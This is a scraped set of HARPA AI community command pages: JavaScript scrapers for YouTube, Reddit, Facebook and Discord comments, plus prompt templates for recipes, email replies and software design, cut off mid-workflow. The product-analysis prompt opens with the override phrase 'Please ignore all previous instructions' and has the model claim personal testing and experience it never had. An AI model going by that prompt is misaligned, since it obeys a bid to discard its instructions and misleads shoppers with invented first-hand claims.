info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | YouTube Comments Extraction [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🧩  YouTube Comments Extraction =============================== Extracts comments from YouTube video page. You can specify how many comments you need. #extraction -------------------------------------------------------------------------------------------------- Created by **Adrian Larsson** Updated on **Nov 9, 2024 04:32** Installed **155 times** 9 RUNS JS CODE How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: ask param: targetMessageCount message: How many comments would you like to extract? options: - label: 50 comments value: 50 - label: 100 comments value: 100 - label: 200 comments value: 200 - $custom default: '' vision: enabled: false mode: area send: true hint: '' optionsInvalid: false - type: js code: | async function scrollAndCollectMessages(targetMessageCount) { const config = { // Existing selectors commentThread: 'ytd-comment-thread-renderer', commentModel: 'ytd-comment-view-model#comment', author: '#header-author h3 a', content: '#content-text', likes: '#vote-count-middle', time: '#published-time-text a', commentBox: 'ytd-comment-simplebox-renderer', // New video selectors videoTitle: 'title', videoAuthor: '.style-scope.ytd-channel-name.complex-string', videoViews: '#count .view-count', videoPublishedAt: 'ytd-video-primary-info-renderer #info-strings yt-formatted-string', videoLikes: 'ytd-menu-renderer button[aria-label*="like this video"]' } function getVideoInfo() { try { const title = document.querySelector(config.videoTitle)?.textContent.trim() || ''; const author = document.querySelector(config.videoAuthor)?.textContent.trim() || ''; const views = document.querySelector(config.videoViews)?.textContent.trim() || ''; const publishedAt = document.querySelector(config.videoPublishedAt)?.textContent.trim() || ''; const likesElement = document.querySelector(config.videoLikes); const likes = likesElement ? likesElement.getAttribute('aria-label').match(/[\d,]+/)[0] : '0'; const url = window.location.href; return { title, author, views, publishedAt, likes, url }; } catch (error) { console.error('Error getting video info:', error); return null; } } async function scrollAndCollectComments() { const comments = []; const uniqueComments = new Set(); let retries = 0; const maxRetries = 5; async function scrollAndWait() { window.scrollTo(0, document.documentElement.scrollHeight); await new Promise(resolve => setTimeout(resolve, 1500)); } function scrollToTop() { window.scrollTo(0, 0); } async function waitForComments() { let commentBox = document.querySelector(config.commentBox); if (commentBox) return true; document.documentElement.scrollTop += window.innerHeight; await new Promise(resolve => setTimeout(resolve, 1500)); commentBox = document.querySelector(config.commentBox); return !!commentBox; } function extractCurrentComments() { const commentElements = document.querySelectorAll(config.commentThread); let newCommentsFound = false; commentElements.forEach(commentElement => { const comment = commentElement.querySelector(config.commentModel); if (!comment) return; const author = comment.querySelector(config.author)?.textContent.trim() || 'Unknown'; const content = comment.querySelector(config.content)?.textContent.trim() || ''; const likes = comment.querySelector(config.likes)?.textContent.trim() || '0'; const time = comment.querySelector(config.time)?.textContent.trim() || ''; const commentId = `${time}-${author}-${content}`; if (!uniqueComments.has(commentId) && author && content) { const formattedComment = `${time}. ${author}: ${content} (${likes} likes)`; uniqueComments.add(commentId); comments.push(formattedComment); newCommentsFound = true; } }); return newCommentsFound; } await waitForComments(); while (comments.length < targetMessageCount && retries < maxRetries) { const newCommentsFound = extractCurrentComments(); if (comments.length < targetMessageCount) { await scrollAndWait(); if (!newCommentsFound) { retries++; } else { retries = 0; } } } if (comments.length > targetMessageCount) { comments.splice(targetMessageCount); } scrollToTop(); return comments; } try { const videoInfo = getVideoInfo(); const comments = await scrollAndCollectComments(); return { video: videoInfo, comments }; } catch (error) { return null; } } return scrollAndCollectMessages(targetMessageCount); param: array timeout: 15000 args: targetMessageCount silent: true - type: say message: |- **Data Array:** {{array}} Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Simplify & Cook: YouTube Video Recipes [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🍽  Simplify & Cook: YouTube Video Recipes ========================================== Converts YouTube cooking videos into easy-to-follow recipes with a clear ingredient list. ----------------------------------------------------------------------------------------- Created by **Prompt Garden** Updated on **Dec 12, 2024 12:10** Installed **142 times** 11 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: group steps: - type: say message: >- 😢It seems this is not a YouTube video page or the video has no transcript. Please run these command on a cooking video page and I'll help you with the recipe. - type: stop condition: '{{transcript}} =' - type: gpt prompt: > Act as a skilled cook who speaks {{language}} fluently. I want you to analyze the YouTube video transcript and find the recipe, writing it in a clear and concise format in {{language}}: ## Dish Name **Ingredients:** - List of ingredients in bullet points with required quantities or weights **Notes:** - Notes in bullet points (if any). **Instructions:** 1. Step-by-step list of actions needed to make a perfect dish following this recipe - Support numbered steps with 2nd level bullet points for details when needed --- Follow these guidelines: - Keep it simple and understandable. I'm a home cook, not a professional chef with restaurant equipment - Convert weight and volume measurements into both American and European formats - If you see complex ingredients like shallots, suggest common substitutes (like regular onions) in notes - Avoid generic phrases or anything I haven't asked for YouTube video transcript: {{transcript}} Ingredients and recipe in {{language}}: isolated: true param: '' Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Reddit Thread Extraction [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🧩  Reddit Thread Extraction ============================ Extracts key info from Reddit posts and comments while preserving thread structure. Use this command on a Reddit thread page. #extraction ----------------------------------------------------------------------------------------------------------------------------------------- Created by **Adrian Larsson** Updated on **Nov 9, 2024 04:32** Installed **130 times** 9 RUNS JS CODE How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: say message: >- 📌 Use this command on a Reddit thread page. You can use this command or JS code as a base for creating other commands or automations. - type: ask param: targetMessageCount message: How many comments would you like to extract? options: - label: 50 comments value: 50 - label: 100 comments value: 100 - label: 200 comments value: 200 - $custom default: '' vision: enabled: false mode: area hint: '' send: true optionsInvalid: false - type: js args: targetMessageCount code: |2- async function scrollAndCollectMessages (targetMessageCount) { const config = { commentTree: '#comment-tree', comment: 'shreddit-comment', author: '.font-bold', timestamp: 'faceplate-timeago', content: '[slot="comment"]', pageTitle: 'h1', postAuthor: '.author-name', postContent: '[slot="text-body"]', } async function scrollAndCollectComments () { const comments = [] const uniqueComments = new Set() let retries = 0 const maxRetries = 5 async function scrollAndWait () { window.scrollTo(0, document.body.scrollHeight) await new Promise(resolve => setTimeout(resolve, 200)) } // Scroll back to top function function scrollToTop() { window.scrollTo(0, 0) } function extractCurrentComments () { const commentTree = document.querySelector(config.commentTree) const commentElements = commentTree.querySelectorAll(config.comment) let newCommentsFound = false commentElements.forEach(comment => { const author = comment.querySelector(config.author)?.innerText || 'Unknown' const time = comment.querySelector(config.timestamp)?.innerText || '' const content = comment.querySelector(config.content)?.innerText || '' const depth = parseInt(comment.getAttribute('depth')) || 0 const commentId = `${time}-${author}-${content}` if (!uniqueComments.has(commentId) && author && time && content) { const prefix = ' → '.repeat(depth) const formattedComment = `${prefix}${time}. ${author}: ${content}` uniqueComments.add(commentId) comments.push(formattedComment) newCommentsFound = true } }) return newCommentsFound } while (comments.length < targetMessageCount && retries < maxRetries) { const newCommentsFound = extractCurrentComments() if (comments.length < targetMessageCount) { await scrollAndWait() if (!newCommentsFound) { retries++ } else { retries = 0 } } } if (comments.length > targetMessageCount) { comments.splice(targetMessageCount) } // Scroll back to top after collecting comments scrollToTop() return comments } try { const result = { post: { title: document.querySelector(config.pageTitle)?.innerText || '', author: document.querySelector(config.postAuthor)?.innerText || '', content: document.querySelector(config.postContent)?.innerText || '', }, comments: await scrollAndCollectComments(), url: window.location.href } return result } catch (error) { return null } } return scrollAndCollectMessages(targetMessageCount) param: array timeout: 15000 silent: true - type: calc func: extract-json to: array param: array index: all - type: say message: >- **Post:** [{{title}}]({{url}}) **Author:** [{{array.post.author}}](https://www.reddit.com/user/{{array.post.author}}) **Data Array:** {{array}} Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Facebook Post & Comments Extraction [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🧩  Facebook Post & Comments Extraction ======================================= Extracts the Facebook post and all its comments. Use this command on a post page that can be accessed by clicking the comments count button. #extraction -------------------------------------------------------------------------------------------------------------------------------------------------------- Created by **Adrian Larsson** Updated on **Nov 9, 2024 04:32** Installed **105 times** 14 RUNS JS CODE How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: say message: >- 📌 Extracts the Facebook post and all its comments. Use this command on a post page that can be accessed by clicking the comments count button. You can use this command or JS code as a base for creating other commands or automations. - type: ask param: targetMessageCount message: How many comments would you like to extract? options: - label: 50 comments value: 50 - label: 100 comments value: 100 - label: 200 comments value: 200 - $custom default: '' vision: enabled: false mode: area send: true hint: '' optionsInvalid: false - type: js code: | async function scrollAndCollectMessages(targetMessageCount) { // Configuration object containing all DOM selectors const config = { postContent: '[role="dialog"] [data-ad-comet-preview="message"]', postAuthor: '[role="dialog"] [data-ad-rendering-role="profile_name"]', comment: '[role="dialog"] [role="article"]', commentContent: '[role="dialog"] [role="article"] div[style="text-align: start;"]', commentAuthor: '[role="dialog"] [role="article"] a[href*="/user/"] span', commentTime: '[role="dialog"] [role="article"] li a[role="link"]' } // Main function to collect comments with scrolling functionality async function scrollAndCollectComments() { // Initialize storage arrays and counters const comments = [] const uniqueComments = new Set() let retries = 0 const maxRetries = 5 // Function to scroll down and wait for new content to load async function scrollAndWait() { const dialog = document.querySelector('[role=dialog]:not([aria-label])') const children = [...dialog.querySelectorAll('*')] const scroll = children.find(c => getComputedStyle(c).overflow === 'hidden auto') scroll.scrollTop = scroll.scrollHeight await new Promise(resolve => setTimeout(resolve, 1500)) } // Function to scroll back to top function scrollToTop() { const dialog = document.querySelector('[role=dialog]:not([aria-label])') const children = [...dialog.querySelectorAll('*')] const scroll = children.find(c => getComputedStyle(c).overflow === 'hidden auto') scroll.scrollTop = 0 } // Function to extract comments from current view function extractCurrentComments() { const commentElements = document.querySelectorAll(config.comment) let newCommentsFound = false // Process each comment element commentElements.forEach((comment) => { const authorElement = comment.querySelector('a[href*="/user/"] span') const timeElement = comment.querySelector('li a[role="link"]') const contentElements = comment.querySelectorAll('div[style="text-align: start;"]') if (authorElement && contentElements.length > 0) { const author = authorElement.innerText || 'Unknown' const time = timeElement?.innerText || '' const content = Array.from(contentElements) .map(el => el.innerText) .join(' ') const commentId = `${time}-${author}-${content}` if (!uniqueComments.has(commentId) && author && content) { const formattedComment = `${time}. ${author}: ${content}` uniqueComments.add(commentId) comments.push(formattedComment) newCommentsFound = true } } }) return newCommentsFound } // Main collection loop - continue until target reached or max retries exceeded while (comments.length < targetMessageCount && retries < maxRetries) { const newCommentsFound = extractCurrentComments() if (comments.length < targetMessageCount) { await scrollAndWait() if (!newCommentsFound) { retries++ } else { retries = 0 } } } // Trim excess messages if needed if (comments.length > targetMessageCount) { comments.splice(targetMessageCount) } // Scroll back to top after collection scrollToTop() return comments } try { const result = { author: document.querySelector(config.postAuthor)?.innerText || '', originalPost: document.querySelector(config.postContent)?.innerText || '', comments: await scrollAndCollectComments() } return result } catch (error) { console.error('Error during data collection:', error) return null } } return scrollAndCollectMessages(targetMessageCount) param: array timeout: 15000 args: targetMessageCount silent: true - type: say message: |- **Data Array:** {{array}} Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Key Decision Making Factors (KDMF) - by Erik Nielsen [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🛒  Key Decision Making Factors (KDMF) - by Erik Nielsen ======================================================== Generates 6 data-backed key decision-making factors (KDMFs) that help customers evaluate and choose products in online stores. #amazon #ebay #emarketing #sales --------------------------------------------------------------------------------------------------------------------------------------------------------------- Created by **Erik Nielsen** Updated on **Nov 8, 2024 16:58** Installed **98 times** 14 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: ask param: product_info message: >- 📌 The highest response effectiveness can only be achieved if product information and reviews are available. 💬Please provide me with this data or run the prompt on a page where this information exists. optionsInvalid: false options: - label: ✅ FIND ON A CURRENT WEBPAGE value: 'Please find useful information from webpage content.: {{page}}' - $custom - type: gpt prompt: >- Please ignore all previous instructions. I want you to act as an experienced e-commerce analyst and online shopper. Carefully analyze the following [PRODUCT INFORMATION]. Based on thorough research and analysis, identify and LIST the 6 most critical key decision-making factors (KDMF) that influence purchase decisions for this product. Guidelines: - Frame the analysis from a first-person perspective using phrases like "our research shows", "based on my testing", "in my experience", "during my review" - Include specific data points, metrics, specifications and verifiable facts - Focus on factors like pricing, features, user experience, security, reliability and performance - Compare with industry standards where relevant - Do not include any fabricated or unsubstantiated claims - Write in clear, professional {{language}} - Use markdown features. - The response should help potential customers make an informed purchase decision based on objective criteria and real user experience. Response Format: ## "The Key Decision-Making Factors for <Product_Name>" - List 6 KDMFs with detailed explanations - Support each KDMF with specific examples and data - Include relevant comparisons ### Conclusion: actionable insights [PRODUCT INFORMATION]: {{product_info}} [YOUR RESPONSE]: param: gpt Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Email Writer: GMail, ProtonMail, Outlook, FastMail [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ✍️  Email Writer: GMail, ProtonMail, Outlook, FastMail ====================================================== The Best AI Email Drafter that follows your style instructions and works perfectly with Gmail, ProtonMail, Outlook, and FastMail -------------------------------------------------------------------------------------------------------------------------------- Created by **Erik Nielsen** Updated on **Dec 13, 2024 11:14** Installed **103 times** 10 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: group steps: - type: say message: >- Could not read email from the opened page. Please open email in GMail, ProtonMail, Outlook, FastMail and run this command again. - type: stop condition: '{{email}} =' - type: ask param: style message: |- How to respond? **Tip:** edit this command to add more options options: - label: ✅ ACKNOWLEDGE value: Acknowledge information. - label: ⛔ NOT INTERESTED value: >- I'm not interested in the email, reply should be a short polite decline of the offer due to other priorities. - label: 👍 AGREE value: Reply with an agreement. - label: 👎 DISAGREE value: Reply with a disagreement. - label: ❓ QUESTION value: Ask a relevant question. - label: 🤔 CLARIFY value: Request to clarify the information. - label: 💯 PRAISE value: Praise the message author. - label: 🤗 EMPATHY value: Emphasize with the message author. - label: 🤞 SUPPORT value: Support the message author. - label: 💪 ENCOURAGE value: Encourage the message author. - label: 🤨 CRITICIZE value: Criticise the message. - label: 🙏 APOLOGY value: Apologise to the message author. - label: 💡 IDEA value: Come up with a relevant idea. - label: 😂 JOKE value: Write a relevant joke. - $custom default: '' vision: enabled: false mode: area hint: '' send: true optionsInvalid: false - type: gpt prompt: >- You are an expert at quickly distilling key points from raw notes into concise, action-oriented emails. Your goal is to draft a short, effective email based on the [Context] and [Response idea] provided, stripping out any fluff or bloat. Follow this process to draft the email: - Carefully read through the raw thoughts to identify the core objective and any specific requests or action items. - Organize the key points into a logical flow: Open with a clear statement of purpose Concisely provide essential context or details - Explicitly state any asks, next steps or deadlines Ruthlessly edit the email down to the bare essentials, eliminating: - Unnecessary background or tangents - Redundant statements or excessive explanations - Assumed knowledge or unsupported claims - Excessive pleasantries or apologies - Close with a specific call-to-action that reinforces the desired outcome and respects the recipient's time. Constraints: - The entire email should ideally be 5 sentences or less. - Avoid long greetings or signoffs. A simple "Hi [Name]," and "Thanks," or "Best," works. Don't include "fluff" like talk of the weather, well wishes, or apologies for writing the email. - Assume the recipient is busy. Get straight to the point. Style guide: - Use a polite but direct tone. - Be personable but efficient. - Write at an 8th grade reading level. - Use simple words and sentence structures. - Avoid jargon, acronyms or $10 words. - Use plain, everyday language. - Write in the active voice. - Make requests clear and unambiguous. Follow this Output format, do not add any notes or general phrases: **Subject:** ```markdown [Specific, descriptive subject line] ``` **Email response:** ```markdown Hi [Name], [1-2 sentence opener clearly stating purpose] [1-2 sentences of essential context or details] [Specific request, ask or call-to-action - if needed] [Signoff], [Your name] ``` --------- [Info about me]: {{userinfo}} [Context]: {{email}} [Response idea]: {{style}} --------- Now come back with an email draft and subject draft in required format: isolated: true Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Discord Chat Extraction [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🧩  Discord Chat Extraction =========================== Extracts messages from Discord discussions. #extraction ------------------------------------------------------- Created by **Adrian Larsson** Updated on **Nov 9, 2024 04:32** Installed **97 times** 12 RUNS JS CODE How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: ask param: targetMessageCount message: >- 📌 You can use this command or JS code as a base for creating other commands or automations. How many messages would you like to extract? options: - label: 50 messages value: 50 - label: 100 messages value: 100 - label: 200 messages value: 200 - $custom default: '' vision: enabled: false mode: area hint: '' send: true optionsInvalid: false - type: js args: targetMessageCount code: | async function scrollAndCollectMessages (targetMessageCount) { const config = { scroller: '[class*="scroller_"]', messageItem: '[class^="messageListItem_"]', timestamp: '[class^="timestamp_"] time', username: '[class^="username_"]', content: '[class^="markup_"][class*="messageContent_"]', reply: '[class^="repliedMessage_"]', } async function collectMessages () { const messages = [] const uniqueMessageIds = new Set() let retries = 0 const maxRetries = 5 async function scrollAndWait () { const elements = document.querySelectorAll(config.scroller) const scrollableElement = elements[elements.length - 1] if (scrollableElement) { scrollableElement.scrollBy(0, -2000) await new Promise(resolve => setTimeout(resolve, 200)) } } function extractCurrentMessages () { const messageElements = document.querySelectorAll(config.messageItem) let newMessagesFound = false messageElements.forEach(message => { const messageId = message.id || message.getAttribute('data-list-item-id') if (uniqueMessageIds.has(messageId)) return const timestamp = message.querySelector(config.timestamp)?.textContent || '' const username = message.querySelector(config.username)?.textContent || '' const content = message.querySelector(config.content)?.textContent || '' const replyElement = message.querySelector(config.reply) const replyTo = replyElement ? replyElement.querySelector(config.username)?.textContent || '' : null let formattedMessage = `${timestamp}: ${username}: ${content}` if (replyTo) { formattedMessage += ` (Replied to: ${replyTo})` } uniqueMessageIds.add(messageId) messages.push(formattedMessage) newMessagesFound = true }) return newMessagesFound } while (messages.length < targetMessageCount && retries < maxRetries) { const newMessagesFound = extractCurrentMessages() if (messages.length < targetMessageCount) { await scrollAndWait() if (!newMessagesFound) { retries++ } else { retries = 0 } } } if (messages.length > targetMessageCount) { messages.splice(targetMessageCount) } return messages } try { const messages = await collectMessages() const url = window.location.href return { messages, url } } catch (error) { return null } } return scrollAndCollectMessages(targetMessageCount) param: messages timeout: 150000 silent: true - type: say message: |- **Array:** {{messages}} Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Software Design Workflow #3 [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🛠️  Software Design Workflow #3 ================================ Step-by-step creation of software design artifacts with iterative refinement. ----------------------------------------------------------------------------- Created by **K D** Updated on **Dec 27, 2024 22:53** Installed **47 times** 2 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - label: 'STEP 1: Refine Initial Description' type: group steps: - type: ask param: description message: 'Please provide a brief description of the software you want to design:' - label: REFINE DESCRIPTION ITERATIVELY steps: - type: gpt prompt: > Refine the description: "{{description}}" and consider these user comments: "{{userComments}}". Output a more structured and clear description. Limit the response to 500 words unless requested otherwise. param: refinedDescription - message: > Refined Description: {{refinedDescription}} Provide comments or fragments to refine the description. If you're satisfied, type **Done**. param: userComments options: - label: Done value: done - $custom type: ask - condition: '{{userComments}} != done' type: jump to: REFINE DESCRIPTION ITERATIVELY type: group - label: FINALIZE REFINED DESCRIPTION type: calc func: set param: finalDescription value: '{{refinedDescription}}' format: '' - type: say message: 'finalDescription: {{finalDescription}}' - label: 'STEP 2: GENERATE NAMES' steps: - prompt: >- Based on this description: "{{finalDescription}}", generate 5 creative and eye-catching software names as a JSON array. - Respond with a JSON array consisting of five strings. - Write nothing other than the JSON. - Wrap your JSON response in a code block. JSON: param: nameList silent: true type: gpt isolated: true - type: calc func: extract-json to: nameList param: nameList index: '' - param: selectedIndex message: > The AI generated the following names: {{nameList}} Please enter the number corresponding to your preferred name (e.g., 1 for the first name, 2 for the second, etc.): options: - label: 1️⃣ value: '0' - label: 2️⃣ value: '1' - label: 3️⃣ value: '2' - label: 4️⃣ value: '3' - label: 5️⃣ value: '4' - $custom default: '1' vision: enabled: false mode: area hint: '' send: true type: ask optionsInvalid: false - type: group steps: - type: ask param: chosenName message: Please provide a custom name options: null default: '' vision: enabled: false mode: area hint: '' send: true condition: '{{selectedIndex-option}} = $custom' label: CUSTOM NAME - type: calc func: set param: chosenName format: '' value: '{{nameList.{{selectedIndex}}}}' condition: '{{selectedIndex-option}} != $custom' type: group - label: 'STEP 3: Define User Personas' steps: - prompt: > Using the software description "{{finalDescription}}" and the name "{{chosenName}}", draft user personas for the software. Keep each persona concise and no longer than 1000 words unless requested otherwise. param: userPersonas type: gpt - label: REFINE PERSONAS ITERATIVELY steps: - message: > User Personas: {{userPersonas}} Provide comments to refine the personas. If you're satisfied, type **Done**. param: personaComments options: - label: Done value: done - $custom type: ask - condition: '{{personaComments}} != done' prompt: > Refine the user personas: "{{userPersonas}}" based on these comments: "{{personaComments}}". type: gpt param: userPersonas - condition: '{{personaComments}} != done' type: jump to: REFINE PERSONAS ITERATIVELY type: group - label: FINALIZE PERSONAS param: finalPersonas value: '{{userPersonas}}' type: calc func: set format: '' type: group - label: 'STEP 4: Conduct Market and Competitive Analysis' steps: - prompt: > Perform a market and competitive analysis for the software named "{{chosenName}}" targeting these user personas: "{{finalPersonas}}". The analysis should include key insights about competitors and market trends. param: marketAnalysis type: gpt - label: REFINE MARKET ANALYSIS ITERATIVELY steps: - message: > Market Analysis: {{marketAnalysis}} Provide comments to refine the analysis. If you're satisfied, type **Done**. param: marketComments options: - label: Done value: done - $custom type: ask - condition: '{{marketComments}} != done' prompt: > Refine the market analysis: "{{marketAnalysis}}" based on these comments: "{{marketComments}}". 